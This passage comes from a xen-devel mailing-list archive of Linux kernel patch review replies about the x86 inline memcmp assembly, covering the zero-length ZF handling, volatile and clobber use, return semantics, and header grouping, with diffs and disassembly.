 <20260722170334.GCamD35gwrCng30WH1@fat_crate.local>
 <0F3A1121-208F-4F71-8C88-BEAE7CB50E75@zytor.com>
 <4daed8ac-b533-436f-9f86-6d297b87abbb@suse.com>
 <5e19b195-0ca2-4510-81cb-497b40e4aaf5@zytor.com>
Message-ID: <8df0340f0dc7f6c303c6a7da78fad7b8@igalia.com>
X-Sender: mfo@igalia.com
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Spam-Report: NO, Score=-2.2, Tests=ALL_TRUSTED=-3,BAYES_50=0.8
X-Spam-Score: -21
X-Spam-Bar: --
X-purgate-ID: tlsNG-ebf023/1784853330-C14D3B50-9B5BE693/0/0
X-purgate-type: clean
X-purgate-size: 4130

On 2026-07-23 20:12, H. Peter Anvin wrote:
> On 2026-07-22 23:59, Jan Beulich wrote:
>>> 
>>> Also, this is silly. Instead of adding a whole separate test, just do "test %3,%3" before the repe to set ZF and let the REPE skip.
>> 
>> Besides this, isn't the function effectively returning bool wrong anyway? This
>> way you can use it for equal / not-equal comparisons, but not for sorting and
>> alike.
>> 
> There is no use case in the early code for sorting, and it seems rather broken
> to burden the code with that.

If this is merged, other users not in early code might eventually
appear, which might introduce the use case for sorting. Even though that
is unlikely, as such users could probably use regular memcmp() instead,
consider that just in case, so I can ask for your input/advice on this:

> That being said it probably should return bool explicitly (it makes no sense
> for the prototype to be different than the internal variable.)
> 
> We could call it memneq() if someone really, really cares, I guess.
> 
> The early code is very size-sensitive, so I'm really not fond of the idea of
> burdening it further. Perhaps something like:

Do you think this implementation (returns -1/0/+1) is reasonable,
size-wise, for early code?

I considered submitting it eventually, once the return value difference
to regular memcmp() was called out [0], as an improvement, if there's
agreement this would be a good idea considering the scenario above.

static __always_inline int __inline_memcmp(const void *s1, const void
*s2, size_t len)
{
        int above, below;

        asm volatile("test %2, %2\n\t"
                     "repe cmpsb"
                     : "+S" (s1), "+D" (s2), "+c" (len),
                       "=@cca" (above), "=@ccb" (below)
                     : : "memory");

        return above - below;
}

@ arch/x86/boot/string.o
00000028 <memcmp>:
  28:   66 57                   push   %di
  2a:   66 56                   push   %si
  2c:   66 89 c6                mov    %ax,%si
  2f:   66 89 d7                mov    %dx,%di

  32:   66 85 c9                test   %cx,%cx
  35:   f3 a6                   repz cmpsb %es:(%edi),%ds:(%esi)
  37:   0f 97 c0                seta   %al
  3a:   66 0f b6 c0             movzbw %al,%ax
  3e:   0f 92 c2                setb   %dl
  41:   66 0f b6 d2             movzbw %dl,%dx
  45:   66 29 d0                sub    %dx,%ax

  48:   66 5e                   pop    %si
  4a:   66 5f                   pop    %di
  4c:   66 c3                   retw

> A memory clobber is ugly here since no memory is actually modified, although

I'm definitely not an expert, but IIUIC, this memory clobber is for
reads, not writes? Say, a caller/optimized code that writes to the
buffer(s) prior to __inline_memcmp() and data might still reside in
registers; even if theoretical/unlikely.

As in [1]:

  The "memory" clobber tells the compiler that the assembly code
performs memory reads or writes [...] (for example, accessing the memory
pointed to [...]). To ensure memory contains correct values, GCC may
need to flush specific register values to memory before executing the
asm.

> it probably doesn't affect code; "cc" is completely redundant with condition
> code output operand.

Thanks for explaining. I'll remove that in the next version.

[0]
https://lore.kernel.org/all/324ef97b16f52e0ccc72f6381d1b5dd2@igalia.com/
[1]
https://gcc.gnu.org/onlinedocs/gcc/Extended-Asm.html#Clobbers-and-Scratch-Registers-1

cheers,

> static __always_inline bool
> __inline_memcmp(const void *s1, const void *s2, size_t len)
> {
> 	bool diff;
> 
> 	if (__builtin_constant_p(len == 0)) {
> 		if (!len)
> 			return false;
> 		asm volatile("repe cmpsb"
> 				: "=@ccnz" (diff),
> 				  "+D" (s1), "+S" (s2), "+c" (len)
> 				: : "memory");
> 	} else {
> 		/* Clear ZF beforehand in case len == 0 */
> 		asm volatile("test %3,%3; repe cmpsb"
> 				: "=@ccnz" (diff),
> 				  "+D" (s1), "+S" (s2), "+c" (len)
> 				: : "memory");
> 	}
> 	return diff;
> }


-- 
Mauricio


From xen-devel-bounces@lists.xenproject.org Fri Jul 24 00:49:37 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 24 Jul 2026 00:49:37 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1369772.1618319 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wn46W-00010L-C1; Fri, 24 Jul 2026 00:49:32 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1369772.1618319; Fri, 24 Jul 2026 00:49:32 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wn46W-00010E-7s; Fri, 24 Jul 2026 00:49:32 +0000
Received: by outflank-mailman (input) for mailman id 1369772;
 Fri, 24 Jul 2026 00:49:30 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <brgerst@gmail.com>) id 1wn46U-000108-Gz
 for xen-devel@lists.xenproject.org; Fri, 24 Jul 2026 00:49:30 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wn46T-008s7k-GE
 for xen-devel@lists.xenproject.org; Fri, 24 Jul 2026 02:49:29 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <brgerst@gmail.com>)
 id 6a62b662-2eae-0a2a0a5409dd-0a2a450b82e6-24
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 02:49:29 +0200
Received: from [209.85.217.42] (helo=mail-vs1-f42.google.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <brgerst@gmail.com>)
 id 6a62b698-b7e8-0a2a450b0019-d155d92ae032-3
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 02:49:29 +0200
Received: by mail-vs1-f42.google.com with SMTP id
 ada2fe7eead31-74ac0efb654so671347137.2
 for <xen-devel@lists.xenproject.org>; Thu, 23 Jul 2026 17:49:29 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:Cc:To:Subject:Message-ID:Date:From:In-Reply-To:References:MIME-Version"
ARC-Seal: i=1; a=rsa-sha256; t=1784854168; cv=none;
        d=google.com; s=arc-20260327;
        b=HS2evN/+RqM8LCF53jIhCkC9D8Km42+sy/cTN2Qspgumes786BOOvq4/r5mdmEAxL+
         W1JvUTi618lwvv0K4Je6zwUywrLs4/v2bU/85LB0RlpN6/KOS1f6sxiGapA4+/DQDbWE
         dibxCczivLlKf3cbHTE/FoUn/YbRMZ0jS43yVW42ny4uYzZPYd36XYRBPFukJB0hmq9u
         sqf50goIngkoC4qfCbDakNZZuDVYSE0hAcxQjoH/DXejvbjQXqKb/0+EvASkYxKwDC3j
         M+g9VZFZ81Z9oDv8tgzgLzYtQCXGTPe8YfmWAcmbHKJrJZBqpIu5vpHVmxHu/M8CluG0
         lN6A==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20260327;
        h=content-transfer-encoding:cc:to:subject:message-id:date:from
         :in-reply-to:references:mime-version:dkim-signature;
        bh=qHdU6G1F9MKnhrV0MttU1GATQHfTchrhi/+r4Nb6dJY=;
        fh=kXUsuW/8EmFLxOq4p73gFZOIEx4lTXvKzfkxyuUpyIU=;
        b=i+K7Snu5jo0AWs9JPr+XbhCugPWoNMxKskrtMemv5QfD/Iuy/pNl3qwe7eLNqACvzg
         AgzUP1kT8Q2+Fo/ZGH7td/nuYjkoNdoKVPY4U4pqNRDFG/zMYLTD5NZJfjDedP0Auixi
         M6bAD3Y8Qv1Q7+xrv3OATXJEuXHo+9RC3Hv9ITd1Tgu4tjDDqVnJQt4yAS782MsLMzSB
         z9fwL7Cz8j2UJ4OFc43aRaPFjWbmtbpWOUBKHz9iWy6eVQlYVP2B8tGTlQWrquOiyJ6o
         k+qJ2Wuv+b1YMzaWZllGygivU40EsC5NvtQLwhMdNoH4aDbaNecknoEEZ0kWMTfELNl3
         BclA==;
        darn=lists.xenproject.org
ARC-Authentication-Results: i=1; mx.google.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784854168; x=1785458968; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:cc:to:subject:message-id
         :date:from:in-reply-to:references:mime-version:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=qHdU6G1F9MKnhrV0MttU1GATQHfTchrhi/+r4Nb6dJY=;
        b=GqDlkEnMMN0Bb9CZBac0ccBnVc2o3KlO5bg9JODG2e9k/7x4jdV8TlNx8a63rQIzU0
         /g+5NZ0YPzDcxi0+nPWyezPxV742mFLFy0bVkEoE8KgwuIRDlkIEd7d5H1oAVpZL8Np2
         2kiqp7f/mA3kza328hQ20N2D8SCgL8080P6GUVdQhecpFGnEuWAR9GmaBt/ACn3gmImb
         f2o0d95dWpbLgGxMHsZu1TIg3Im1zGAk59sRcfFV5G3SxYLLGz5m6D7JetXGzCFfIR8C
         RnJTEGaF/bXVREkAroOFklt90dvQpHP8LLxt0Ocbca+jv9YBqp7UPnQr3PnCRMMGxK1o
         h68Q==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784854168; x=1785458968;
        h=content-transfer-encoding:content-type:cc:to:subject:message-id
         :date:from:in-reply-to:references:mime-version:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=qHdU6G1F9MKnhrV0MttU1GATQHfTchrhi/+r4Nb6dJY=;
        b=hqQ3R8881bPhIMYoIV0eA4DQd2uiVCsQNGITgWSmz6P+2xUjiTGRN7gvbyZeRPHEZe
         MfMGBTqlEW+FGV5cLPfPphsgrWZ02Ilq4V1dCAIH894RwyTtih3RDeqrs1RIZ5UzdnPM
         HOKagiudR1pUxacTml40NKZynEiHAxjZv6Gwciq8dukrlo89iiW8TWkhs/0LuoR+xLMt
         jYAqJHw7jV+t9C7c0GD+DP/G1d9pB4D+ZIRKThIe8/wPwuMJtwHAfFDaSN3JUaZ/TQS4
         ujNkvoxg6K2o5I7GmDSvVHY71s5tsy+MrbRALFew7rralHCHvStcvvLk9o2G0Cyyhu18
         nGww==
X-Forwarded-Encrypted: i=1; AHgh+RpB0o5oPhJEyFPLD5GKWbCJYT25ovcfzGjtl2596hMxekgRKBj4Hk1FX6FRpiFu3keKMO9I1xIpOws=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yxk748YDZvY70YJG94ZdxaeRU79TZ9+2zAuYONSM4cTfTmLDXO6
	VtKV2Kg1KVJlOwS1ry/m+XEiAiQ2XeOLlkAQwyOrmq+QHxnIVfjme4O/zIsTvdB4L87gSjQ4YwG
	V6z3ehbFfePZtRypMgcH3mBd1g1xgQg==
X-Gm-Gg: AR+sD10hH8t/Py4L9xqU6weFw4BLkjJvFLeBCmBKkj/prWyNol/TQ8HNISWa0jJq4js
	xR95uijiL8xCrJM0xUUbdFSIM8BjIAgfTzqXX73kGNhByKM7w4juStGRlnbbyMNVdPo8UEC6A9m
	wfKIKKuQfCRXdfgsE99nXRwMHJTafT9qwmoPU1hKF9aGA/7V2oKoWNDmNbKKfyHBtjElbOJGxbg
	YSU1pq96NC0lqcbhANANymUTwcsVuGxQfMMg53PM3Vg3aVE5L+xZ3bt+XliG/64KKseHG4Qo/lY
X-Received: by 2002:a05:6102:e0d:b0:722:826e:1423 with SMTP id
 ada2fe7eead31-74d602e4befmr3177977137.20.1784854167835; Thu, 23 Jul 2026
 17:49:27 -0700 (PDT)
MIME-Version: 1.0
References: <20260721-pvh-kasan-inline-v7-0-38979a50cef0@igalia.com>
 <20260721-pvh-kasan-inline-v7-2-38979a50cef0@igalia.com> <20260722170334.GCamD35gwrCng30WH1@fat_crate.local>
 <0F3A1121-208F-4F71-8C88-BEAE7CB50E75@zytor.com> <CAMzpN2hyupAUk-XGRzM2wwQojPrsN66jWtT+saVf1NWdOzFXuw@mail.gmail.com>
 <2f22094d-b8c5-46ec-92b9-dd6752a8dc2e@zytor.com>
In-Reply-To: <2f22094d-b8c5-46ec-92b9-dd6752a8dc2e@zytor.com>
From: Brian Gerst <brgerst@gmail.com>
Date: Thu, 23 Jul 2026 20:49:13 -0400
X-Gm-Features: AUfX_mwUupTj5Oc-riwrNGSO2nErFQHgNj2MqU6MavNa8LaZnbzCF08lw5MUBWc
Message-ID: <CAMzpN2hdw60=Un+mAFS5CEQqDRZ-d3fMogEwE4NxUe75P-GfSA@mail.gmail.com>
Subject: Re: [PATCH v7 2/5] x86/asm: add volatile, clobbers and zero-length
 check in inline memcmp
To: "H. Peter Anvin" <hpa@zytor.com>
Cc: Borislav Petkov <bp@alien8.de>, Mauricio Faria de Oliveira <mfo@igalia.com>, Thomas Gleixner <tglx@kernel.org>, 
	Ingo Molnar <mingo@redhat.com>, Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	Juergen Gross <jgross@suse.com>, Alexey Dobriyan <adobriyan@gmail.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, kernel-dev@igalia.com, 
	linux-kernel@vger.kernel.org, xen-devel@lists.xenproject.org
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
X-purgate-ID: tlsNG-42698a/1784854169-AA4DB9EA-6BA6CF61/0/0
X-purgate-type: clean
X-purgate-size: 3720

On Thu, Jul 23, 2026 at 7:13=E2=80=AFPM H. Peter Anvin <hpa@zytor.com> wrot=
e:
>
> On 2026-07-23 12:37, Brian Gerst wrote:
> > On Wed, Jul 22, 2026 at 2:53=E2=80=AFPM H. Peter Anvin <hpa@zytor.com> =
wrote:
> >>
> >> On July 22, 2026 10:03:34 AM PDT, Borislav Petkov <bp@alien8.de> wrote=
:
> >>> hpa in To:.
> >>>
> >>> On Tue, Jul 21, 2026 at 12:56:43PM -0300, Mauricio Faria de Oliveira =
wrote:
> >>>> Add the volatile qualifier and clobbers parameter to prevent bugs wi=
th
> >>>> instruction reordering and optimization.
> >>>>
> >>>> Also check the zero-length case, as the 'repe' prefix does not run t=
he
> >>>> 'cmpsb' instruction if the 'count' register is zero, which doesn't s=
et
> >>>
> >>> Please use capital letters for insns: REPE, CMPSB and you don't need =
to put
> >>> words in '' - it reads fine without them.
> >>>
> >>>> the condition-code/zero flag, so the result is based on a stale flag=
.
> >>>>
> >>>> Those are pre-existing issues found by Sashiko.
> >>>>
> >>>> Link: https://sashiko.dev/#/patchset/20260701-pvh-kasan-inline-v6-0-=
ba99045dfa9f%40igalia.com
> >>>> Signed-off-by: Mauricio Faria de Oliveira <mfo@igalia.com>
> >>>> ---
> >>>>  arch/x86/include/asm/shared/string.h | 8 ++++++--
> >>>>  1 file changed, 6 insertions(+), 2 deletions(-)
> >>>>
> >>>> diff --git a/arch/x86/include/asm/shared/string.h b/arch/x86/include=
/asm/shared/string.h
> >>>> index 02b92927553f7b8e1c87e6122bbaa70439e57ea7..166274e44f3cb49e3dcc=
ab3cdac281d67aef5d44 100644
> >>>> --- a/arch/x86/include/asm/shared/string.h
> >>>> +++ b/arch/x86/include/asm/shared/string.h
> >>>> @@ -11,8 +11,12 @@ static __always_inline int __inline_memcmp(const =
void *s1, const void *s2, size_
> >>>>  {
> >>>>      bool diff;
> >>>>
> >>>> -    asm("repe cmpsb"
> >>>> -        : "=3D@ccnz" (diff), "+D" (s1), "+S" (s2), "+c" (len));
> >>>> +    if (len =3D=3D 0)
> >>>> +            return 0;
> >>>> +
> >>>> +    asm volatile("repe cmpsb"
> >>>> +                 : "=3D@ccnz" (diff), "+D" (s1), "+S" (s2), "+c" (l=
en)
> >>>> +                 : : "cc", "memory");
> >>>>
> >>>>      return diff;
> >>>>  }
> >>>
> >>> So this is a fix which should probably go to stable, I think. Going b=
ack into
> >>> git history, it points to
> >>>
> >>>  62bd0337d0c4 ("Top header file for new x86 setup code")
> >>>
> >> >from 2007. And we have carried it this way through the years and who =
knows
> >>> what hit this or not. So please make this the first patch in your set=
 - you
> >>> can even send it separately so that I can get route it through stable=
.
> >>>
> >>> Then you can base the rest ontop.
> >>>
> >>> Thx.
> >>>
> >>
> >> Also, this is silly. Instead of adding a whole separate test, just do =
"test %3,%3" before the repe to set ZF and let the REPE skip.
> >
> > REPE does not check ZF before the first iteration.
> >
> > From the Intel SDM:
> > "When the REPE/REPZ and REPNE/REPNZ prefixes are used, the ZF flag
> > does not require initialization because both
> > the CMPS and SCAS instructions affect the ZF flag according to the
> > results of the comparisons they make."
> >
>
> The point was to ensure we have a valid result in ZF (which should be ZF=
=3D1)
> even if len =3D 0.

I had originally thought that the test for RCX=3D=3D0 was also at the end
of the loop, after the decrement.  But a closer look at the
pseudo-code in the SDM does show that the test is at the start of the
loop.  Starting with RCX=3D=3D0 does indeed skip the comparison and does
not touch ZF.  Your suggestion is good, but should have a comment
explaining why it's there to someone reading the code in the future.


From xen-devel-bounces@lists.xenproject.org Fri Jul 24 00:52:09 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 24 Jul 2026 00:52:09 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1369780.1618327 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wn491-0002Wc-SL; Fri, 24 Jul 2026 00:52:07 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1369780.1618327; Fri, 24 Jul 2026 00:52:07 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wn491-0002WV-Oq; Fri, 24 Jul 2026 00:52:07 +0000
Received: by outflank-mailman (input) for mailman id 1369780;
 Fri, 24 Jul 2026 00:52:06 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <mfo@igalia.com>) id 1wn490-0002WO-BW
 for xen-devel@lists.xenproject.org; Fri, 24 Jul 2026 00:52:06 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wn48z-00H912-HW
 for xen-devel@lists.xenproject.org; Fri, 24 Jul 2026 02:52:05 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <mfo@igalia.com>)
 id 6a62b70b-e002-0a2a0a5209dd-0a2a45038a1e-26
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 02:52:05 +0200
Received: from [213.97.179.56] (helo=fanzine2.igalia.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <mfo@igalia.com>)
 id 6a62b734-fae8-0a2a45030019-d561b338a384-3
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 02:52:04 +0200
Received: from maestria.local.igalia.com ([192.168.10.14] helo=mail.igalia.com)
 by fanzine2.igalia.com with esmtps 
 (Cipher TLS1.3:ECDHE_SECP256R1__RSA_PSS_RSAE_SHA256__AES_256_GCM:256) (Exim)
 id 1wn48e-003fgj-Mk; Fri, 24 Jul 2026 02:51:44 +0200
Received: from webmail.service.igalia.com ([192.168.21.45])
 by mail.igalia.com with esmtp (Exim)
 id 1wn48c-00205n-Kh; Fri, 24 Jul 2026 02:51:44 +0200
Received: from localhost ([127.0.0.1] helo=webmail.igalia.com)
 by webmail.service.igalia.com with esmtp (Exim 4.98.2)
 (envelope-from <mfo@igalia.com>) id 1wn48c-000000032b5-1lMV;
 Fri, 24 Jul 2026 02:51:42 +0200
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20170329 header.d=igalia.com header.i="@igalia.com" header.h="Content-Transfer-Encoding:Content-Type:Message-ID:Subject:Cc:To:From:Date:MIME-Version"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=igalia.com;
	s=20170329; h=Content-Transfer-Encoding:Content-Type:Message-ID:Subject:Cc:To
	:From:Date:MIME-Version:From:Reply-To;
	bh=zdmddBTnxu3ecQxTHZrj1U5FRs6aMjme2tgnifhIgMo=; b=J/GoU1YGDbVnh24W+ablo26MIH
	0LmOITnPxpA63P0EpkmJ9Mf8dIMowGPhx5vysRSERbQ5hYNErUcqflMSCRUPgo4btBkkqyt85i8aW
	JaUR0PWXRFXmbmaTbvInttaN1jARlhl3O+BLnH8CdnsbsEiYBoetm9r/PPEPhEnw+B114h6+ZlKs8
	pj4+qXSho71cHKhDcjjboaONgrdAsgLUAcUe9Db9WAEc1dOkmLzXAhhklZ5+vpNf6gxWiZiGhIjl+
	QJO7i0JuFx4uk6Gm8cZ/cD/Kdz7XpnRZAKRD2lJPOJIV8yZRNxTQ5vaAbneQDCLjXY/5/XfzMCQRR
	fOFu3NRA==;
MIME-Version: 1.0
Date: Thu, 23 Jul 2026 21:51:42 -0300
From: Mauricio Faria de Oliveira <mfo@igalia.com>
To: Borislav Petkov <bp@alien8.de>
Cc: Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, Dave
 Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, "H. Peter Anvin"
 <hpa@zytor.com>, Juergen Gross <jgross@suse.com>, Alexey Dobriyan
 <adobriyan@gmail.com>, Boris Ostrovsky <boris.ostrovsky@oracle.com>,
 kernel-dev@igalia.com, linux-kernel@vger.kernel.org,
 xen-devel@lists.xenproject.org
Subject: Re: [PATCH v7 3/5] x86/asm: group inline string functions
In-Reply-To: <20260723215928.GBamKOwB3PIaHrQFbs@fat_crate.local>
References: <20260721-pvh-kasan-inline-v7-0-38979a50cef0@igalia.com>
 <20260721-pvh-kasan-inline-v7-3-38979a50cef0@igalia.com>
 <20260723215928.GBamKOwB3PIaHrQFbs@fat_crate.local>
Message-ID: <1f3f0d30b592f4ddbb8f64f9d8fed429@igalia.com>
X-Sender: mfo@igalia.com
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Spam-Report: NO, Score=-2.2, Tests=ALL_TRUSTED=-3,BAYES_50=0.8
X-Spam-Score: -21
X-Spam-Bar: --
X-purgate-ID: tlsNG-33051d/1784854324-762FD4E9-FDA9B4D7/0/0
X-purgate-type: clean
X-purgate-size: 1438

On 2026-07-23 18:59, Borislav Petkov wrote:
> On Tue, Jul 21, 2026 at 12:56:44PM -0300, Mauricio Faria de Oliveira wrote:
>> Group the __inline string functions in the same header.
>> 
>> Use <asm/shared/string.h> since __inline_memcmp() must remain there for use
>> by arch/x86/boot/string.c.
> 
> "No functional changes."

Ok, added.

> 
>> Signed-off-by: Mauricio Faria de Oliveira <mfo@igalia.com>
>> ---
>>  arch/x86/include/asm/shared/string.h | 26 ++++++++++++++++++++++++++
>>  arch/x86/include/asm/string.h        | 21 +--------------------
>>  2 files changed, 27 insertions(+), 20 deletions(-)
>> 
>> diff --git a/arch/x86/include/asm/shared/string.h b/arch/x86/include/asm/shared/string.h
>> index 166274e44f3cb49e3dccab3cdac281d67aef5d44..9714fbda8b734e20686bfb88a6ca857bfee59e1a 100644
>> --- a/arch/x86/include/asm/shared/string.h
>> +++ b/arch/x86/include/asm/shared/string.h
>> @@ -2,6 +2,32 @@
>>  #ifndef _ASM_X86_SHARED_STRING_H
>>  #define _ASM_X86_SHARED_STRING_H
>>  
>> +/*
>> + * The __inline string functions are grouped in this file for consistency and
>> + * for use by arch/x86/boot code due to limitations on including asm/string.h.
> 
> What limitations?
> 
> Either explain them or don't bother adding a comment. asm/shared/ is generally
> an understood concept if you grep the tree and you don't really need a comment
> here.

Ok, removed.

Thanks,

-- 
Mauricio


From xen-devel-bounces@lists.xenproject.org Fri Jul 24 05:56:18 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 24 Jul 2026 05:56:18 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1369823.1618335 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wn8t9-0004cn-SV; Fri, 24 Jul 2026 05:56:03 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1369823.1618335; Fri, 24 Jul 2026 05:56:03 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wn8t9-0004cg-Pm; Fri, 24 Jul 2026 05:56:03 +0000
Received: by outflank-mailman (input) for mailman id 1369823;
 Fri, 24 Jul 2026 05:56:02 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wn8t7-0004ca-T9
 for xen-devel@lists.xenproject.org; Fri, 24 Jul 2026 05:56:02 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wn8t6-000Uhp-PU
 for xen-devel@lists.xenproject.org; Fri, 24 Jul 2026 07:56:00 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a62fe6d-e002-0a2a0a5209dd-0a2a4506e7b4-8
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 07:56:00 +0200
Received: from [209.85.128.43] (helo=mail-wm1-f43.google.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a62fe70-195a-0a2a45060019-d155802bf097-3
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 07:56:00 +0200
Received: by mail-wm1-f43.google.com with SMTP id
 5b1f17b1804b1-4953e04ef16so588075e9.2
 for <xen-devel@lists.xenproject.org>; Thu, 23 Jul 2026 22:56:00 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f85bb81dcsm20931457f8f.12.2026.07.23.22.55.58
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 23 Jul 2026 22:55:59 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784872560; x=1785477360; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=pkoC1q/+TkULbqjsuzqy2NXhO6ptDn3Eo/D9M+fgH5o=;
        b=ciZyLUu17GyHPtmvdUGRN52ucFY79sjcg7U3iYBB/R2P1aWnVEstFCo4fqrmkY+PbS
         EBuwyegbQ5n5CfiE8fCOQEKsvTIGsREbzarlkPzh6Xk97vpRhQ98RVrI0tYIMwz+GWt0
